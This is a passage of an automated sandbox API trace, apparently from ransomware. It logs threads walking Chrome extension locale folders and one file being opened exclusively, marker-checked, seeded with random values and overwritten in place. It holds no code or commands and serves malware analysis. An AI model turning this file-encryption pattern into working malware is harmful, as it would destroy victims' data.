[0177.221] wcscat (in: _Dest=0x12da0e18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\" [0177.221] wcscat (in: _Dest=0x12da0e18, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*" [0177.221] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9102e0 [0177.221] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*", lpFindFileData=0x9102e0 | out: lpFindFileData=0x9102e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941d70 [0178.560] wcscmp (_String1=".", _String2=".") returned 0 [0178.560] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x9102e0 | out: lpFindFileData=0x9102e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.560] wcscmp (_String1="..", _String2=".") returned 1 [0178.560] wcscmp (_String1="..", _String2="..") returned 0 [0178.560] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x9102e0 | out: lpFindFileData=0x9102e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0178.560] wcscmp (_String1="messages.json", _String2=".") returned 1 [0178.560] wcscmp (_String1="messages.json", _String2="..") returned 1 [0178.560] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0xd498060 [0178.563] wcscpy (in: _Dest=0xd498060, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi" [0178.563] wcscat (in: _Dest=0xd498060, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\" [0178.563] wcscat (in: _Dest=0xd498060, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json" [0181.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd498060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x136c [0181.219] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x9102e0 | out: lpFindFileData=0x9102e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.219] FindClose (in: hFindFile=0x941d70 | out: hFindFile=0x941d70) returned 1 [0181.219] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9102e0) returned 1 [0181.219] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12da0e18) returned 1 [0181.219] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x972ae8) returned 1 Thread: id = 7095 os_tid = 0x13cc [0177.223] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x9b3510 [0177.225] wcscpy (in: _Dest=0x9b3510, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr" [0177.225] wcscat (in: _Dest=0x9b3510, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\" [0177.225] wcscat (in: _Dest=0x9b3510, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*" [0177.225] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911888 [0177.225] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*", lpFindFileData=0x911888 | out: lpFindFileData=0x911888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942270 [0178.565] wcscmp (_String1=".", _String2=".") returned 0 [0178.565] FindNextFileW (in: hFindFile=0x942270, lpFindFileData=0x911888 | out: lpFindFileData=0x911888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.565] wcscmp (_String1="..", _String2=".") returned 1 [0178.565] wcscmp (_String1="..", _String2="..") returned 0 [0178.565] FindNextFileW (in: hFindFile=0x942270, lpFindFileData=0x911888 | out: lpFindFileData=0x911888*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0178.565] wcscmp (_String1="messages.json", _String2=".") returned 1 [0178.565] wcscmp (_String1="messages.json", _String2="..") returned 1 [0178.565] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0xd4982d0 [0178.565] wcscpy (in: _Dest=0xd4982d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr" [0178.565] wcscat (in: _Dest=0xd4982d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\" [0178.565] wcscat (in: _Dest=0xd4982d0, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json" [0181.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4982d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1114 [0181.225] FindNextFileW (in: hFindFile=0x942270, lpFindFileData=0x911888 | out: lpFindFileData=0x911888*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.225] FindClose (in: hFindFile=0x942270 | out: hFindFile=0x942270) returned 1 [0181.226] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911888) returned 1 [0181.226] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3510) returned 1 [0181.226] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d9f258) returned 1 Thread: id = 7096 os_tid = 0xff8 [0177.226] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x11e) returned 0x9b3638 [0177.226] wcscpy (in: _Dest=0x9b3638, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA" [0177.226] wcscat (in: _Dest=0x9b3638, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\" [0177.227] wcscat (in: _Dest=0x9b3638, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*" [0177.227] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x969d08 [0177.227] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*", lpFindFileData=0x969d08 | out: lpFindFileData=0x969d08*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b778 [0178.546] wcscmp (_String1=".", _String2=".") returned 0 [0178.546] FindNextFileW (in: hFindFile=0x93b778, lpFindFileData=0x969d08 | out: lpFindFileData=0x969d08*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.546] wcscmp (_String1="..", _String2=".") returned 1 [0178.546] wcscmp (_String1="..", _String2="..") returned 0 [0178.546] FindNextFileW (in: hFindFile=0x93b778, lpFindFileData=0x969d08 | out: lpFindFileData=0x969d08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0178.546] wcscmp (_String1="messages.json", _String2=".") returned 1 [0178.546] wcscmp (_String1="messages.json", _String2="..") returned 1 [0178.546] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x136) returned 0x8fc8d8 [0178.546] wcscpy (in: _Dest=0x8fc8d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA" [0178.546] wcscat (in: _Dest=0x8fc8d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\" [0178.546] wcscat (in: _Dest=0x8fc8d8, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json" [0188.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fc8d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x179c [0188.615] FindNextFileW (in: hFindFile=0x93b778, lpFindFileData=0x969d08 | out: lpFindFileData=0x969d08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.615] FindClose (in: hFindFile=0x93b778 | out: hFindFile=0x93b778) returned 1 [0188.615] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x969d08) returned 1 [0188.615] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3638) returned 1 [0188.615] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d9f380) returned 1 Thread: id = 7100 os_tid = 0x14f8 [0177.637] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json")) returned 0x2020 [0177.637] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json", dwFileAttributes=0x20) returned 1 [0179.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb4 [0179.458] GetFileSizeEx (in: hFile=0xeb4, lpFileSize=0x475faa8 | out: lpFileSize=0x475faa8*=249) returned 1 [0179.458] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0xf5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.459] ReadFile (in: hFile=0xeb4, lpBuffer=0x475fa2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x475fa28, lpOverlapped=0x0 | out: lpBuffer=0x475fa2c*, lpNumberOfBytesRead=0x475fa28*=0x4, lpOverlapped=0x0) returned 1 [0179.459] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.460] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9095c8 [0179.460] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9092d0 [0179.460] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909348 [0179.460] NtQuerySystemTime (in: CurrentTime=0x475fa08 | out: CurrentTime=0x475fa08*=132174899540482000) returned 0x0 [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0xa6c5bdb [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x70f45a23 [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x45a197fc [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x2e0e5cc6 [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x3eeab1f5 [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x2c558482 [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x913750a [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x30314ab0 [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x18c2c90 [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x2b80a5a5 [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x2935b47a [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x5ed84764 [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x7476c1e8 [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x226f347d [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x69ff7846 [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x48d710cf [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x2fc712f3 [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x47468f34 [0179.460] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x19c50c8a [0179.461] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x479c2185 [0179.461] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x6acf4bd5 [0179.461] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x7c29dc4d [0179.461] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x2c2aabc2 [0179.461] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x630d2426 [0179.461] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x6d847a15 [0179.461] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x683ff6c8 [0179.461] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x664d6ec2 [0179.461] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x3ccfe98 [0179.461] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x75421965 [0179.461] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x7a003286 [0179.461] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x5ffba6ea [0179.461] RtlRandomEx (in: Seed=0x475fa14 | out: Seed=0x475fa14) returned 0x2d00e782 [0179.472] ReadFile (hFile=0xeb4, lpBuffer=0x1334e870, nNumberOfBytesToRead=0xf9, lpNumberOfBytesRead=0x475fa04, lpOverlapped=0x0) [0179.472] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.472] WriteFile (in: hFile=0xeb4, lpBuffer=0x1335b078*, nNumberOfBytesToWrite=0xf9, lpNumberOfBytesWritten=0x475fa00, lpOverlapped=0x0 | out: lpBuffer=0x1335b078*, lpNumberOfBytesWritten=0x475fa00*=0xf9, lpOverlapped=0x0) returned 1 [0180.811] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909550 [0180.811] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9094d8 [0180.811] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9094d8) returned 1 [0180.811] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1335b078) returned 1 [0180.812] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1334e870) returned 1 [0180.812] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8d28) returned 1 [0180.812] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2500) returned 1 [0180.812] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0xd4d81d0 [0180.812] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 